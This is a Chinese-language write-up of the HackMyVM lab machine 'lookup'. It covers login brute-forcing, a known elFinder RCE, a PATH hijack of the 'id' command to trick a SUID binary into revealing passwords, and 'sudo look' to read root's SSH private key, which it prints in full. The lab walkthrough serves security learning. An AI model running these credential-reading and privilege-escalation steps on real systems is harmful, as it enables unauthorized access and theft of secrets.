0x00信息收集
0x01端口扫描
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:0A:44:CF (Oracle VirtualBox virtual NIC)22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://lookup.hmv
|_http-server-header: Apache/2.4.41 (Ubuntu)
0x02目录扫描
login.php
0x10web
根据端口开放情况来看,只能根据web先来看,web页面访问是一个登陆界面。并且可以根据返回包可以来判断用户是否存在
用户存在
Wrong password. Please try again.
Redirecting in 3 seconds.
用户不存在
Wrong username or password. Please try again.
Redirecting in 3 seconds.
根据响应包特征先爆破出用户名,之后根据用户名爆破出密码。进行第一步的突破验证。
爆破出用户为admin 和jose,因此针对两个用户进行弱密码爆破
爆破可得
admin:password123
jose:password123
0x11 get_shell
登陆之后可以查看界面,我们可以看到这是一个文件管理器。
找到了对应的版本,可以看到是elFinder的2.1.47版本,有对应的rce。直接利用nday拿到权限。
0x20 后渗透
针对于这一点其实我个人是觉得有点像ctf了。我们找到赋予了suid的一些命令。
find / -perm 04000 2>/dev/null
ls -al /usr/sbin/pwm
-rwsr-sr-x 1 root root 17176 Jan 11 2024 /usr/sbin/pwm
看过wp才发现这是pwm文件有问题。直接利用meterpreter download 将pwm下载下来。
0x21pwm分析
运行程序
x64位程序使用ida反编译,拿到伪代码,分析一下。
int __fastcall main(int argc, const char **argv, const char **envp)
{char v4; // [rsp+Fh] [rbp-131h]FILE *stream; // [rsp+10h] [rbp-130h]FILE *v6; // [rsp+18h] [rbp-128h]char v7[64]; // [rsp+20h] [rbp-120h] BYREFchar s[112]; // [rsp+60h] [rbp-E0h] BYREFchar filename[104]; // [rsp+D0h] [rbp-70h] BYREFunsigned __int64 v10; // [rsp+138h] [rbp-8h]v10 = __readfsqword(0x28u);puts("[!] Running 'id' command to extract the username and user ID (UID)");snprintf(s, 0x64uLL, "id");stream = popen(s, "r");if ( stream ){if ( (unsigned int)__isoc99_fscanf(stream, "uid=%*u(%[^)])", v7) == 1 ){printf("[!] ID: %s\n", v7);pclose(stream);snprintf(filename, 0x64uLL, "/home/%s/.passwords", v7);v6 = fopen(filename, "r");if ( v6 ){while ( 1 ){v4 = fgetc(v6);if ( v4 == -1 )break;putchar(v4);}fclose(v6);return 0;}else{printf("[-] File /home/%s/.passwords not found\n", v7);return 0;}}else{perror("[-] Error reading username from id command\n");return 1;}}else{perror("[-] Error executing id command\n");return 1;}
}
- 首先运行id命令将id命令结果写入数组,之后进行读取,如果能读到内容。就进行下一步
- 下一步匹配uid=%*u(%[^)]) 对应的uid=后的内容将括号内的内容写入 V7
- /home/%s/.passwords 读取对应v7的home文件夹下面的文件夹的内容
分析到这里其实我们已经发现,首先这个pwm文件是由suid权限的。并且对于/home只有think 一个用户,我们可能就是要利用id命令,送一个think字符串进去从而读取/home下的 think的password。
0x22伪造id
# 首先改变PATH
PATH=/tmp:$PATH
cd /tmp
echo 'echo "uid=0(think)"' > id
chmod +x id
此时再运行pwm文件可以看到我们已经拿到/home/think/.password的内容
0x23横向think用户
经过不懈的努力,我们终于拿到了think用户的密码候选,我们利用hydra进行爆破。
成功拿到对应的ssh的密码进行登陆。
ssh think@192.168.221.76
0x24权限提升
查询到sudo 权限有一个look可以为我们所用。但是此时可以看到/etc/passwd 和/etc/shadow 因为我们有root权限,所以可以根据root权限进行操作。但是事情总是不尽如人意,并没有爆出对应的root密码。之后想到如果我们能拿到root的ssh私钥,我们照样可以针对于root用户进行一个密钥验证。
LFILE=/root/.ssh/id_rsa
sudo look '' "$LFILE"
查看root下的 .ssh/id_rsa,拿到私钥
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
将内容保存在rsa文件中
chmod 600 rsa # 一般都需要设置成600 ssh root@ip -i rsa
0x30 总结
lookup这台机器算是hmv中难度中等的一个机器,主要还是通过突破验证到达指定文件系统。文件系统是易受攻击的系统。拿到服务器权限之后,这一点我确实认为pwm这个文件太像ctf了,分析之后利用id伪造拿到密码横向到think用户,最后是通过sudo 提权拿到root私钥成功获取权限。下机